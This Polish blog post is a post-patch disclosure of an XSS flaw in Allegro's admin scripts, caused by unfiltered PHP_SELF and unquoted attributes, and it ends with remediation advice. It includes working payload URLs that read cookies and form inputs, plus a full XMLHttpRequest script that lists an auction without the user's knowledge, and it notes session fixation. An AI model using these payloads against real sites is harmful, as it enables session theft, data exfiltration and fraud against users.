Allegro pełne dziur! – jak to było?

Teraz, kiedy cała sprawa już trochę przycichła a, co najważniejsze, zgłoszone błędy zostały poprawione mam możliwość przedstawienia na czym dokładnie polegał znaleziony przeze mnie błąd w skryptach administracyjnych Allegro i w jaki sposób można to było wykorzystać.

Zaznajomieni z tematem wiedzą, że całość opierała się głównie na luce XSS (Cross-Site Scripting) w oparciu o którą instniała możliwość swobodnego manipulowania kodem źródłowym strony i treścią na niej zawartą.
Analiza kodu źródłowego

Przeglądając kod źródłowy strony zawierającej dane aukcji znajdujemy kod podobny do tego: <a href=/my_allegro.php?page=favourites>Ulubione</a>. Nie ma cudzysłowów otaczających wartość atrybutu href, więc mamy podstawę do podjęcia próby znalezienia błędu.
Podstawa do dalszej analizy

Okazuje się jednak, że wartości parametrów przekazywanych do my_allegro.php są prawidłowo filtrowane, więc w tym miejscu niczego nie znajdziemy. Sprawdzamy więc, czy do stworzenia adresu URL wykorzystywana jest zmienna $_SERVER[‚PHP_SELF’] i czy jej wartość jest prawidłowo filtrowana; wywołujemy URL http://allegro.pl/my_allegro.php/abc?page=favourites – znajdujemy w kodzie ciąg znaków abc, a jako, że nie ma cudzysłowów próbujemy zwyczajnie zamknąć znacznik odnośnika wywołując z kolei http://allegro.pl/my_allegro.php/%3E?page=favourites

http://allegro.pl/my_allegro.php/>?page=favourites

Ku naszemu zadowoleniu udaje się. Możemy więc bez problemu odczytać wartości ciasteczek: http://allegro.pl/my_allegro.php/%3E%3Cscript%3Ealert(
document.cookie)%3C/script%3Epe=set_my

http://allegro.pl/my_allegro.php/><script>alert(
document.cookie)</script>pe=set_my
Powiększamy kod źródłowy strony

Skoro można dołączyć dowolny kod źródłowy, to praktycznie sprawa jest zakończona. Jednak fajnie by było, gdyby dało się wykorzystywać cudzysłowa aby umieścić bardziej skomplikowany kod JavaScript. Niestety, cudzysłowa są filtrowane i w tradycyjny sposób ich nie wykorzystamy. Nic straconego, bo jest w końcu funkcja String.fromCharCode, która na podstawie przekazanych kodów ASCII zwraca łańcuch znaków z nich złożony. Próbujemy więc wyświetlić dane osobowe: http://ssl.allegro.pl/my_allegro.php/%3E%3Cscript%3Ewindow.onload=
function()%7Ba=document.getElementsByTagName(String.fromCharCode(105,110,
112,117,116));for(b=0;b%3Ca.length;b++)alert(a%5Bb%5D.value);%7D%3C/script%3E
?page=settings&type=set_my

http://ssl.allegro.pl/my_allegro.php/><script>window.onload=
function(){a=document.getElementsByTagName(String.fromCharCode(105,110,
112,117,116));for(b=0;b<a.length;b++)alert(a[b].value);}</script>
?page=settings&type=set_my
Sprzedajemy

Wystawienie aukcji nie wymaga ponownego zalogowania, więc możemy stworzyć skrypt, który wystawi aukcję automatycznie, bez wiedzy użytkownika. Opierając się na wcześniejszym kodzie dołączamy do strony element script z odwołaniem do pliku .js na naszym serwerze. Analizując zachowanie panelu administracyjnego podczas wystawiania aukcji i mając na oku przesyłane do serwera dane tworzymy skrypt, wykorzystujacy obiekt XMLHttpRequest wystawiający aukcję:

var xhr;
var auctionTitle = ‚Tytul’;
var auctionDescr = ‚Opis’;
if (typeof XMLHttpRequest != ‚undefined’)
xhr = new XMLHttpRequest(); else
xhr = new ActiveXObject(‚Microsoft.XMLHttp’);
xhr.onreadystatechange = function() {
if (xhr.readyState != 4) return;
var r = xhr.responseText;
var uniqid = new RegExp(‚item_unique_key” value=”([a-z0-9]+)”‚).exec(r)[1];
xhr.abort();
xhr.onreadystatechange = function() {
if (xhr.readyState != 4) return;
// Done.
}
xhr.open(‚POST’, ‚/add_item.php’, true);
xhr.setRequestHeader(‚Content-type’, ‚application/x-www-form-urlencoded’);
xhr.send(‚var_appendix=00&wysiwyg=2&item_unique_key=’+uniqid);
}
xhr.open(‚POST’, ‚/new_item_preview.php’, true);
xhr.setRequestHeader(‚Content-type’, ‚application/x-www-form-urlencoded’);
xhr.send(‚var_appendix=00&item_country=1&starting_time_00=
&category=28118&auction_type=buy_now&explicit_content=0
&item_name=’+encodeURIComponent(auctionTitle)+’&counter_info=
+45&no_attribs=1&description=’+encodeURIComponent(auctionDescr)
+’&wysiwyg=2&select_cat=&load_foto=&remove_foto=&select_sell_type=
&force_txt=&foto=&foto_path=&load_foto_auto=0&buy_now_price=1000000
&sell_quantity=1&sell_by_set=&future_active=0&auction_duration=7
&selected_country=1&state=7&location=Warszawa&transport=buyer
&transport_shipment=on&wire_transfer=on&postage_transfer=
&ask_for_payu=on&counter_trans=+500’);
Tyle

Nic więcej nie jest już potrzebne. Z pomocą stworzonego wcześniej kodu możemy bez problemu przesłać do siebie dane osobowe, nazwę użytkownika i hasło (korzystając z RCSR) czy listę aukcji, a prawdę mówiąc wystarczy sama wartość ciasteczek, bo z powodu luki Session Fixation ustawienie czyjegoś identyfikatora sesji u siebie i odświeżenie strony wystarcza, aby przeglądać panel administracyjny jako ta osoba.

Co było nie tak?

Raz – atrybuty znaczników powinny być otoczone cudzysłowami. Trzeba pamiętać, że nie chodzi tu tylko o kosmetykę, ale także bezpieczeństwo. Gdyby były, to nawet fakt, że występowała luka XSS, nie dało by się jej wykorzystać, bo cudzysłowa i inne kluczowe dla HTML znaki były poprawnie filtorwane przez skrypty Allegro. Dwa – nie wolno zapominać, że tablica $_SERVER również zawiera dane pochodzące z zewnątrz, którymi trzeba się przyjrzeć przed wypisaniem ich na stronie. Dotyczy to także zmiennej $_SERVER[‚PHP_SELF’], która najprawdopodobniej była zwyczajnie wyświetlana bez uprzedniej filtracji.
Uwaga: Powyższy opis ma charakter czysto edykacyjny i tak też proszę go traktować. Opis dotyczy skryptów administracyjnych Allegro przed nałożonymi niedawno poprawkami (aktualny dnia 11.12.2006).

Żródło: własne

Zobacz również:

Allegro wydało oświadczenie
Allegro milczy i zapowiada przerwę techniczną
Allegro pełne dziur!